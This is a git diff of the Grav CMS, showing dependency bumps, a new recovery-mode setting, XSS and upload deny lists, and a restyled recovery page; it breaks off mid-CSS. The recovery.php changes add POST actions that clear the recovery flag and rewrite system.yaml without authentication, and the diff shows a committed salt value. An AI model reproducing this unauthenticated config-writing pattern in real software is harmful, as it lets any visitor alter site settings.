|
||||
"source": "https://github.com/Codeception/Stub/tree/4.2.1"
|
||||
},
|
||||
"time": "2025-08-01T08:15:29+00:00"
|
||||
"time": "2025-12-05T13:37:14+00:00"
|
||||
},
|
||||
{
|
||||
"name": "getgrav/markdowndocs",
|
||||
@@ -5446,11 +5451,11 @@
|
||||
},
|
||||
{
|
||||
"name": "phpstan/phpstan",
|
||||
"version": "2.1.32",
|
||||
"version": "2.1.33",
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/phpstan/phpstan/zipball/e126cad1e30a99b137b8ed75a85a676450ebb227",
|
||||
"reference": "e126cad1e30a99b137b8ed75a85a676450ebb227",
|
||||
"url": "https://api.github.com/repos/phpstan/phpstan/zipball/9e800e6bee7d5bd02784d4c6069b48032d16224f",
|
||||
"reference": "9e800e6bee7d5bd02784d4c6069b48032d16224f",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -5495,7 +5500,7 @@
|
||||
"type": "github"
|
||||
}
|
||||
],
|
||||
"time": "2025-11-11T15:18:17+00:00"
|
||||
"time": "2025-12-05T10:24:31+00:00"
|
||||
},
|
||||
{
|
||||
"name": "phpstan/phpstan-deprecation-rules",
|
||||
@@ -5881,16 +5886,16 @@
|
||||
},
|
||||
{
|
||||
"name": "phpunit/phpunit",
|
||||
"version": "11.5.44",
|
||||
"version": "11.5.45",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/sebastianbergmann/phpunit.git",
|
||||
"reference": "c346885c95423eda3f65d85a194aaa24873cda82"
|
||||
"reference": "faf5fff4fb9beb290affa53f812b05380819c51a"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/c346885c95423eda3f65d85a194aaa24873cda82",
|
||||
"reference": "c346885c95423eda3f65d85a194aaa24873cda82",
|
||||
"url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/faf5fff4fb9beb290affa53f812b05380819c51a",
|
||||
"reference": "faf5fff4fb9beb290affa53f812b05380819c51a",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -5962,7 +5967,7 @@
|
||||
"support": {
|
||||
"issues": "https://github.com/sebastianbergmann/phpunit/issues",
|
||||
"security": "https://github.com/sebastianbergmann/phpunit/security/policy",
|
||||
"source": "https://github.com/sebastianbergmann/phpunit/tree/11.5.44"
|
||||
"source": "https://github.com/sebastianbergmann/phpunit/tree/11.5.45"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -5986,7 +5991,7 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-11-13T07:17:35+00:00"
|
||||
"time": "2025-12-01T07:38:43+00:00"
|
||||
},
|
||||
{
|
||||
"name": "psr/http-client",
|
||||
@@ -6042,16 +6047,16 @@
|
||||
},
|
||||
{
|
||||
"name": "psy/psysh",
|
||||
"version": "v0.12.14",
|
||||
"version": "v0.12.15",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/bobthecow/psysh.git",
|
||||
"reference": "95c29b3756a23855a30566b745d218bee690bef2"
|
||||
"reference": "38953bc71491c838fcb6ebcbdc41ab7483cd549c"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/bobthecow/psysh/zipball/95c29b3756a23855a30566b745d218bee690bef2",
|
||||
"reference": "95c29b3756a23855a30566b745d218bee690bef2",
|
||||
"url": "https://api.github.com/repos/bobthecow/psysh/zipball/38953bc71491c838fcb6ebcbdc41ab7483cd549c",
|
||||
"reference": "38953bc71491c838fcb6ebcbdc41ab7483cd549c",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -6115,22 +6120,22 @@
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/bobthecow/psysh/issues",
|
||||
"source": "https://github.com/bobthecow/psysh/tree/v0.12.14"
|
||||
"source": "https://github.com/bobthecow/psysh/tree/v0.12.15"
|
||||
},
|
||||
"time": "2025-10-27T17:15:31+00:00"
|
||||
"time": "2025-11-28T00:00:14+00:00"
|
||||
},
|
||||
{
|
||||
"name": "rector/rector",
|
||||
"version": "2.2.8",
|
||||
"version": "2.2.11",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/rectorphp/rector.git",
|
||||
"reference": "303aa811649ccd1d32e51e62d5c85949d01b5f1b"
|
||||
"reference": "7bd21a40b0332b93d4bfee284093d7400696902d"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/rectorphp/rector/zipball/303aa811649ccd1d32e51e62d5c85949d01b5f1b",
|
||||
"reference": "303aa811649ccd1d32e51e62d5c85949d01b5f1b",
|
||||
"url": "https://api.github.com/repos/rectorphp/rector/zipball/7bd21a40b0332b93d4bfee284093d7400696902d",
|
||||
"reference": "7bd21a40b0332b93d4bfee284093d7400696902d",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -6169,7 +6174,7 @@
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/rectorphp/rector/issues",
|
||||
"source": "https://github.com/rectorphp/rector/tree/2.2.8"
|
||||
"source": "https://github.com/rectorphp/rector/tree/2.2.11"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -6177,7 +6182,7 @@
|
||||
"type": "github"
|
||||
}
|
||||
],
|
||||
"time": "2025-11-12T18:38:00+00:00"
|
||||
"time": "2025-12-02T11:23:46+00:00"
|
||||
},
|
||||
{
|
||||
"name": "sebastian/cli-parser",
|
||||
@@ -7219,27 +7224,28 @@
|
||||
},
|
||||
{
|
||||
"name": "symfony/browser-kit",
|
||||
"version": "v7.3.6",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/browser-kit.git",
|
||||
"reference": "e9a9fd604296b17bf90939c3647069f1f16ef04e"
|
||||
"reference": "3bb26dafce31633b1f699894c86379eefc8af5bb"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/browser-kit/zipball/e9a9fd604296b17bf90939c3647069f1f16ef04e",
|
||||
"reference": "e9a9fd604296b17bf90939c3647069f1f16ef04e",
|
||||
"url": "https://api.github.com/repos/symfony/browser-kit/zipball/3bb26dafce31633b1f699894c86379eefc8af5bb",
|
||||
"reference": "3bb26dafce31633b1f699894c86379eefc8af5bb",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"php": ">=8.2",
|
||||
"symfony/dom-crawler": "^6.4|^7.0"
|
||||
"symfony/deprecation-contracts": "^2.5|^3",
|
||||
"symfony/dom-crawler": "^6.4|^7.0|^8.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"symfony/css-selector": "^6.4|^7.0",
|
||||
"symfony/http-client": "^6.4|^7.0",
|
||||
"symfony/mime": "^6.4|^7.0",
|
||||
"symfony/process": "^6.4|^7.0"
|
||||
"symfony/css-selector": "^6.4|^7.0|^8.0",
|
||||
"symfony/http-client": "^6.4|^7.0|^8.0",
|
||||
"symfony/mime": "^6.4|^7.0|^8.0",
|
||||
"symfony/process": "^6.4|^7.0|^8.0"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
@@ -7267,7 +7273,7 @@
|
||||
"description": "Simulates the behavior of a web browser, allowing you to make requests, click on links and submit forms programmatically",
|
||||
"homepage": "https://symfony.com",
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/browser-kit/tree/v7.3.6"
|
||||
"source": "https://github.com/symfony/browser-kit/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -7287,20 +7293,20 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-11-05T07:57:47+00:00"
|
||||
"time": "2025-11-05T14:29:59+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/css-selector",
|
||||
"version": "v7.3.6",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/css-selector.git",
|
||||
"reference": "84321188c4754e64273b46b406081ad9b18e8614"
|
||||
"reference": "ab862f478513e7ca2fe9ec117a6f01a8da6e1135"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/css-selector/zipball/84321188c4754e64273b46b406081ad9b18e8614",
|
||||
"reference": "84321188c4754e64273b46b406081ad9b18e8614",
|
||||
"url": "https://api.github.com/repos/symfony/css-selector/zipball/ab862f478513e7ca2fe9ec117a6f01a8da6e1135",
|
||||
"reference": "ab862f478513e7ca2fe9ec117a6f01a8da6e1135",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -7336,7 +7342,7 @@
|
||||
"description": "Converts CSS selectors to XPath expressions",
|
||||
"homepage": "https://symfony.com",
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/css-selector/tree/v7.3.6"
|
||||
"source": "https://github.com/symfony/css-selector/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -7356,30 +7362,31 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-10-29T17:24:25+00:00"
|
||||
"time": "2025-10-30T13:39:42+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/dom-crawler",
|
||||
"version": "v7.3.3",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/dom-crawler.git",
|
||||
"reference": "efa076ea0eeff504383ff0dcf827ea5ce15690ba"
|
||||
"reference": "8f3e7464fe7e77294686e935956a6a8ccf7442c4"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/dom-crawler/zipball/efa076ea0eeff504383ff0dcf827ea5ce15690ba",
|
||||
"reference": "efa076ea0eeff504383ff0dcf827ea5ce15690ba",
|
||||
"url": "https://api.github.com/repos/symfony/dom-crawler/zipball/8f3e7464fe7e77294686e935956a6a8ccf7442c4",
|
||||
"reference": "8f3e7464fe7e77294686e935956a6a8ccf7442c4",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"masterminds/html5": "^2.6",
|
||||
"php": ">=8.2",
|
||||
"symfony/deprecation-contracts": "^2.5|^3",
|
||||
"symfony/polyfill-ctype": "~1.8",
|
||||
"symfony/polyfill-mbstring": "~1.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"symfony/css-selector": "^6.4|^7.0"
|
||||
"symfony/css-selector": "^6.4|^7.0|^8.0"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
@@ -7407,7 +7414,7 @@
|
||||
"description": "Eases DOM navigation for HTML and XML documents",
|
||||
"homepage": "https://symfony.com",
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/dom-crawler/tree/v7.3.3"
|
||||
"source": "https://github.com/symfony/dom-crawler/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -7427,27 +7434,27 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-08-06T20:13:54+00:00"
|
||||
"time": "2025-10-31T09:30:03+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/finder",
|
||||
"version": "v7.3.5",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/finder.git",
|
||||
"reference": "9f696d2f1e340484b4683f7853b273abff94421f"
|
||||
"reference": "340b9ed7320570f319028a2cbec46d40535e94bd"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/finder/zipball/9f696d2f1e340484b4683f7853b273abff94421f",
|
||||
"reference": "9f696d2f1e340484b4683f7853b273abff94421f",
|
||||
"url": "https://api.github.com/repos/symfony/finder/zipball/340b9ed7320570f319028a2cbec46d40535e94bd",
|
||||
"reference": "340b9ed7320570f319028a2cbec46d40535e94bd",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"php": ">=8.2"
|
||||
},
|
||||
"require-dev": {
|
||||
"symfony/filesystem": "^6.4|^7.0"
|
||||
"symfony/filesystem": "^6.4|^7.0|^8.0"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
@@ -7475,7 +7482,7 @@
|
||||
"description": "Finds files and directories via an intuitive fluent interface",
|
||||
"homepage": "https://symfony.com",
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/finder/tree/v7.3.5"
|
||||
"source": "https://github.com/symfony/finder/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -7495,7 +7502,7 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-10-15T18:45:57+00:00"
|
||||
"time": "2025-11-05T05:42:40+00:00"
|
||||
},
|
||||
{
|
||||
"name": "theseer/tokenizer",
|
||||
|
||||
28
index.php
28
index.php
@@ -77,8 +77,30 @@ date_default_timezone_set(@date_default_timezone_get());
|
||||
@ini_set('default_charset', 'UTF-8');
|
||||
mb_internal_encoding('UTF-8');
|
||||
|
||||
$recoveryFlag = __DIR__ . '/user/data/recovery.flag';
|
||||
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag)) {
|
||||
// Use getcwd() for paths to support symlinked index.php (GRAV_ROOT uses getcwd())
|
||||
$gravRoot = rtrim(str_replace(DIRECTORY_SEPARATOR, '/', getenv('GRAV_ROOT') ?: getcwd()), '/');
|
||||
|
||||
// Helper function to check if recovery mode is enabled in config (updates.recovery_mode)
|
||||
$isRecoveryEnabled = static function () use ($gravRoot) {
|
||||
$userConfig = $gravRoot . '/user/config/system.yaml';
|
||||
if (!is_file($userConfig)) {
|
||||
return true; // Default enabled
|
||||
}
|
||||
$content = file_get_contents($userConfig);
|
||||
if ($content === false) {
|
||||
return true;
|
||||
}
|
||||
if (preg_match('/^\s*updates:\s*\n(?:\s+\w+:.*\n)*?\s+recovery_mode:\s*(true|false|1|0)\s*$/m', $content, $matches)) {
|
||||
return in_array(strtolower($matches[1]), ['true', '1'], true);
|
||||
}
|
||||
return true; // Default enabled
|
||||
};
|
||||
|
||||
$recoveryFlag = $gravRoot . '/user/data/recovery.flag';
|
||||
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag) && $isRecoveryEnabled()) {
|
||||
if (!defined('GRAV_ROOT')) {
|
||||
define('GRAV_ROOT', $gravRoot);
|
||||
}
|
||||
require __DIR__ . '/system/recovery.php';
|
||||
return 0;
|
||||
}
|
||||
@@ -95,7 +117,7 @@ try {
|
||||
} catch (\Error|\Exception $e) {
|
||||
$grav->fireEvent('onFatalException', new Event(['exception' => $e]));
|
||||
|
||||
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag)) {
|
||||
if (PHP_SAPI !== 'cli' && is_file($recoveryFlag) && $isRecoveryEnabled()) {
|
||||
require __DIR__ . '/system/recovery.php';
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -122,4 +122,13 @@ form:
|
||||
default: '* 3 * * *'
|
||||
validate:
|
||||
required: true
|
||||
.schedule_environment:
|
||||
type: select
|
||||
label: PLUGIN_ADMIN.BACKUPS_PROFILE_ENVIRONMENT
|
||||
help: PLUGIN_ADMIN.BACKUPS_PROFILE_ENVIRONMENT_HELP
|
||||
default: ''
|
||||
options:
|
||||
'': 'Default (cli)'
|
||||
localhost: 'Localhost'
|
||||
cli: 'CLI'
|
||||
|
||||
|
||||
@@ -1605,6 +1605,18 @@ form:
|
||||
type: int
|
||||
min: 0
|
||||
|
||||
updates.recovery_mode:
|
||||
type: toggle
|
||||
label: PLUGIN_ADMIN.RECOVERY_MODE
|
||||
help: PLUGIN_ADMIN.RECOVERY_MODE_HELP
|
||||
highlight: 1
|
||||
default: true
|
||||
options:
|
||||
1: PLUGIN_ADMIN.YES
|
||||
0: PLUGIN_ADMIN.NO
|
||||
validate:
|
||||
type: bool
|
||||
|
||||
http_section:
|
||||
type: section
|
||||
title: PLUGIN_ADMIN.HTTP_SECTION
|
||||
|
||||
@@ -72,7 +72,7 @@ config:
|
||||
# Edit view
|
||||
edit:
|
||||
title:
|
||||
template: "{{ form.value('fullname') ?? form.value('username') }} <{{ form.value('email') }}>"
|
||||
template: "{{ form.value('fullname') ?? form.value('username') }}"
|
||||
|
||||
# Configure view
|
||||
configure:
|
||||
|
||||
@@ -10,6 +10,7 @@ profiles:
|
||||
root: '/'
|
||||
schedule: false
|
||||
schedule_at: '0 3 * * *'
|
||||
schedule_environment: ''
|
||||
exclude_paths: "/backup\r\n/cache\r\n/images\r\n/logs\r\n/tmp"
|
||||
exclude_files: ".DS_Store\r\n.git\r\n.svn\r\n.hg\r\n.idea\r\n.vscode\r\nnode_modules"
|
||||
|
||||
|
||||
@@ -1,47 +1,50 @@
|
||||
xss_whitelist: [admin.super] # Whitelist of user access that should 'skip' XSS checking
|
||||
xss_whitelist:
|
||||
- admin.super
|
||||
xss_enabled:
|
||||
on_events: true
|
||||
invalid_protocols: true
|
||||
moz_binding: true
|
||||
html_inline_styles: true
|
||||
dangerous_tags: true
|
||||
on_events: true
|
||||
invalid_protocols: true
|
||||
moz_binding: true
|
||||
html_inline_styles: true
|
||||
dangerous_tags: true
|
||||
xss_invalid_protocols:
|
||||
- javascript
|
||||
- livescript
|
||||
- vbscript
|
||||
- mocha
|
||||
- feed
|
||||
- data
|
||||
- javascript
|
||||
- livescript
|
||||
- vbscript
|
||||
- mocha
|
||||
- feed
|
||||
- data
|
||||
xss_dangerous_tags:
|
||||
- applet
|
||||
- meta
|
||||
- xml
|
||||
- blink
|
||||
- link
|
||||
- style
|
||||
- script
|
||||
- embed
|
||||
- object
|
||||
- iframe
|
||||
- frame
|
||||
- frameset
|
||||
- ilayer
|
||||
- layer
|
||||
- bgsound
|
||||
- title
|
||||
- base
|
||||
- applet
|
||||
- meta
|
||||
- xml
|
||||
- blink
|
||||
- link
|
||||
- style
|
||||
- script
|
||||
- embed
|
||||
- object
|
||||
- iframe
|
||||
- frame
|
||||
- frameset
|
||||
- ilayer
|
||||
- layer
|
||||
- bgsound
|
||||
- title
|
||||
- base
|
||||
- isindex
|
||||
uploads_dangerous_extensions:
|
||||
- php
|
||||
- php2
|
||||
- php3
|
||||
- php4
|
||||
- php5
|
||||
- phar
|
||||
- phtml
|
||||
- html
|
||||
- htm
|
||||
- shtml
|
||||
- shtm
|
||||
- js
|
||||
- exe
|
||||
- php
|
||||
- php2
|
||||
- php3
|
||||
- php4
|
||||
- php5
|
||||
- phar
|
||||
- phtml
|
||||
- html
|
||||
- htm
|
||||
- shtml
|
||||
- shtm
|
||||
- js
|
||||
- exe
|
||||
sanitize_svg: true
|
||||
salt: SbmgUJQ62MqNc0
|
||||
|
||||
@@ -206,6 +206,7 @@ gpm:
|
||||
updates:
|
||||
safe_upgrade: true # Enable guarded staging+rollback pipeline for Grav self-updates
|
||||
safe_upgrade_snapshot_limit: 5 # Maximum number of safe-upgrade snapshots to retain (0 = unlimited)
|
||||
recovery_mode: true # Enable recovery mode when fatal errors occur during upgrades
|
||||
|
||||
http:
|
||||
method: auto # Either 'curl', 'fopen' or 'auto'. 'auto' will try fopen first and if not available cURL
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
|
||||
// Some standard defines
|
||||
define('GRAV', true);
|
||||
define('GRAV_VERSION', '1.8.0-beta.24');
|
||||
define('GRAV_VERSION', '1.8.0-beta.28');
|
||||
define('GRAV_SCHEMA', '1.8.0_2025-09-21_0');
|
||||
define('GRAV_TESTING', true);
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
<?php
|
||||
|
||||
use Grav\Common\Filesystem\Folder;
|
||||
use Grav\Common\Recovery\RecoveryManager;
|
||||
use Grav\Common\Upgrade\SafeUpgradeService;
|
||||
|
||||
@@ -31,6 +32,37 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
exit;
|
||||
}
|
||||
$errorMessage = 'Invalid recovery token.';
|
||||
} elseif ($action === 'clear-flag') {
|
||||
// Clear recovery flag - allowed without authentication
|
||||
$manager->clear();
|
||||
$_SESSION['grav_recovery_authenticated'] = null;
|
||||
$notice = 'Recovery flag cleared. <a href="' . htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8') . '">Reload the page</a> to continue.';
|
||||
} elseif ($action === 'disable-recovery') {
|
||||
// Disable recovery mode in config (updates.recovery_mode) - allowed without authentication
|
||||
$configDir = GRAV_ROOT . '/user/config';
|
||||
$configFile = $configDir . '/system.yaml';
|
||||
Folder::create($configDir);
|
||||
|
||||
$config = [];
|
||||
if (is_file($configFile)) {
|
||||
$content = file_get_contents($configFile);
|
||||
if ($content !== false) {
|
||||
// Simple YAML parsing for this specific case
|
||||
$config = \Symfony\Component\Yaml\Yaml::parse($content) ?? [];
|
||||
}
|
||||
}
|
||||
|
||||
if (!isset($config['updates'])) {
|
||||
$config['updates'] = [];
|
||||
}
|
||||
$config['updates']['recovery_mode'] = false;
|
||||
$yaml = \Symfony\Component\Yaml\Yaml::dump($config, 4, 2);
|
||||
file_put_contents($configFile, $yaml);
|
||||
|
||||
// Also clear the recovery flag
|
||||
$manager->clear();
|
||||
$_SESSION['grav_recovery_authenticated'] = null;
|
||||
$notice = 'Recovery mode has been disabled. <a href="' . htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8') . '">Reload the page</a> to continue.';
|
||||
} elseif ($authenticated) {
|
||||
$service = new SafeUpgradeService();
|
||||
try {
|
||||
@@ -40,16 +72,11 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
$_SESSION['grav_recovery_authenticated'] = null;
|
||||
$notice = 'Rollback complete. Please reload Grav.';
|
||||
}
|
||||
if ($action === 'clear-flag') {
|
||||
$manager->clear();
|
||||
$_SESSION['grav_recovery_authenticated'] = null;
|
||||
$notice = 'Recovery flag cleared.';
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
$errorMessage = $e->getMessage();
|
||||
}
|
||||
} else {
|
||||
$errorMessage = 'Authentication required.';
|
||||
$errorMessage = 'Authentication required for this action.';
|
||||
}
|
||||
}
|
||||
|
||||
@@ -94,6 +121,13 @@ if (is_dir($manifestDir)) {
|
||||
|
||||
$latestSnapshot = $snapshots[0] ?? null;
|
||||
|
||||
// Determine base URL for assets
|
||||
$scriptName = $_SERVER['SCRIPT_NAME'] ?? '/index.php';
|
||||
$baseUrl = rtrim(dirname($scriptName), '/\\');
|
||||
if ($baseUrl === '.' || $baseUrl === '') {
|
||||
$baseUrl = '';
|
||||
}
|
||||
|
||||
header('Content-Type: text/html; charset=utf-8');
|
||||
|
||||
?><!doctype html>
|
||||
@@ -103,99 +137,410 @@ header('Content-Type: text/html; charset=utf-8');
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>Grav Recovery Mode</title>
|
||||
<style>
|
||||
body { font-family: system-ui, -apple-system, BlinkMacSystemFont, sans-serif; margin: 0; padding: 40px; background: #111; color: #eee; }
|
||||
.panel { max-width: 720px; margin: 0 auto; background: #1d1d1f; padding: 24px 32px; border-radius: 12px; box-shadow: 0 10px 45px rgba(0,0,0,0.4); }
|
||||
h1 { font-size: 2.5rem; margin-top: 0; color: #fff; display:flex;align-items:center; }
|
||||
h1 > img {margin-right:1rem;}
|
||||
code { background: rgba(255,255,255,0.08); padding: 2px 4px; border-radius: 4px; }
|
||||
form { margin-top: 16px; }
|
||||
input[type="text"] { width: 100%; padding: 10px; border: 1px solid #333; border-radius: 6px; background: #151517; color: #fff; }
|
||||
button { margin-top: 12px; padding: 10px 16px; border: 0; border-radius: 6px; cursor: pointer; background: #3c8bff; color: #fff; font-weight: 600; }
|
||||
button.secondary { background: #444; }
|
||||
.message { padding: 10px 14px; border-radius: 6px; margin-top: 12px; }
|
||||
.error { background: rgba(220, 53, 69, 0.15); color: #ffb3b8; }
|
||||
.notice { background: rgba(25, 135, 84, 0.2); color: #bdf8d4; }
|
||||
ul { padding-left: 20px; }
|
||||
li { margin-bottom: 8px; }
|
||||
.card { border: 1px solid #2a2a2d; border-radius: 8px; padding: 14px 16px; margin-top: 16px; background: #161618; }
|
||||
small { color: #888; }
|
||||
* { box-sizing: border-box; }
|
||||
body {
|
||||
font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%);
|
||||
min-height: 100vh;
|
||||
color: #e8e8e8;
|
||||
line-height: 1.6;
|
||||
}
|
||||
.container {
|
||||
max-width: 800px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
.header {
|
||||
text-align: center;
|
||||
padding: 30px 0;
|
||||
}
|
||||
.header img {
|
||||
width: 80px;
|
||||
height: auto;
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
.header h1 {
|
||||
font-size: 1.8rem;
|
||||
margin: 0 0 8px 0;
|
||||
color: #fff;
|
||||
font-weight: 600;
|
||||
}
|
||||
.header .subtitle {
|
||||
color: #a0a0a0;
|
||||
font-size: 1rem;
|
||||
margin: 0;
|
||||
}
|
||||
.alert {
|
||||
padding: 16px 20px;
|
||||
border-radius: 8px;
|
||||
margin-bottom: 20px;
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: 12px;
|
||||
}
|
||||
.alert-error {
|
||||
background: rgba(239, 68, 68, 0.15);
|
||||
border: 1px solid rgba(239, 68, 68, 0.3);
|
||||
color: #fca5a5;
|
||||
}
|
||||
.alert-warning {
|
||||
background: rgba(245, 158, 11, 0.15);
|
||||
border: 1px solid rgba(245, 158, 11, 0.3);
|
||||
color: #fcd34d;
|
||||
}
|
||||
.alert-success {
|
||||
background: rgba(34, 197, 94, 0.15);
|
||||
border: 1px solid rgba(34, 197, 94, 0.3);
|
||||
color: #86efac;
|
||||
}
|
||||
.alert-success a { color: #4ade80; }
|
||||
.alert-icon {
|
||||
font-size: 1.5rem;
|
||||
flex-shrink: 0;
|
||||
line-height: 1;
|
||||
}
|
||||
.alert-content { flex: 1; }
|
||||
.alert-title {
|
||||
font-weight: 600;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.card {
|
||||
background: rgba(255, 255, 255, 0.05);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
border-radius: 12px;
|
||||
padding: 24px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
.card h2 {
|
||||
font-size: 1.1rem;
|
||||
margin: 0 0 16px 0;
|
||||
color: #fff;
|
||||
font-weight: 600;
|
||||
}
|
||||
.card h3 {
|
||||
font-size: 1rem;
|
||||
margin: 0 0 12px 0;
|
||||
color: #fff;
|
||||
font-weight: 600;
|
||||
}
|
||||
.error-summary {
|
||||
background: rgba(0, 0, 0, 0.2);
|
||||
border-radius: 8px;
|
||||
padding: 16px;
|
||||
font-family: 'SF Mono', Monaco, 'Cascadia Code', monospace;
|
||||
font-size: 0.9rem;
|
||||
overflow-x: auto;
|
||||
}
|
||||
.error-summary .error-message {
|
||||
color: #f87171;
|
||||
word-break: break-word;
|
||||
}
|
||||
.error-summary .error-location {
|
||||
color: #94a3b8;
|
||||
margin-top: 8px;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
.btn-group {
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
flex-wrap: wrap;
|
||||
margin-top: 16px;
|
||||
}
|
||||
button, .btn {
|
||||
padding: 12px 24px;
|
||||
border: none;
|
||||
border-radius: 8px;
|
||||
font-size: 0.95rem;
|
||||
font-weight: 600;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s ease;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
text-decoration: none;
|
||||
}
|
||||
.btn-primary {
|
||||
background: #3b82f6;
|
||||
color: #fff;
|
||||
}
|
||||
.btn-primary:hover {
|
||||
background: #2563eb;
|
||||
}
|
||||
.btn-secondary {
|
||||
background: rgba(255, 255, 255, 0.1);
|
||||
color: #e8e8e8;
|
||||
border: 1px solid rgba(255, 255, 255, 0.2);
|
||||
}
|
||||
.btn-secondary:hover {
|
||||
background: rgba(255, 255, 255, 0.15);
|
||||
}
|
||||
.btn-danger {
|
||||
background: rgba(239, 68, 68, 0.2);
|
||||
color: #fca5a5;
|
||||
border: 1px solid rgba(239, 68, 68, 0.3);
|
||||
}
|
||||
.btn-danger:hover {
|
||||
background: rgba(239, 68, 68, 0.3);
|
||||
}
|
||||
details {
|
||||
margin-top: 16px;
|
||||
}
|
||||
summary {
|
||||
cursor: pointer;
|
||||
color: #94a3b8;
|
||||
font-size: 0.9rem;
|
||||
padding: 8px 0;
|
||||
user-select: none;
|
||||
}
|
||||
summary:hover {
|
||||
color: #cbd5e1;
|
||||
}
|
||||
.stack-trace {
|
||||
background: rgba(0, 0, 0, 0.3);
|
||||
border-radius: 8px;
|
||||
padding: 16px;
|
||||
margin-top: 12px;
|
||||
font-family: 'SF Mono', Monaco, 'Cascadia Code', monospace;
|
||||
font-size: 0.8rem;
|
||||
overflow-x: auto;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
color: #94a3b8;
|
||||
max-height: 400px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.info-list {
|
||||
list-style: none;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
}
|
||||
.info-list li {
|
||||
padding: 8px 0;
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.05);
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
}
|
||||
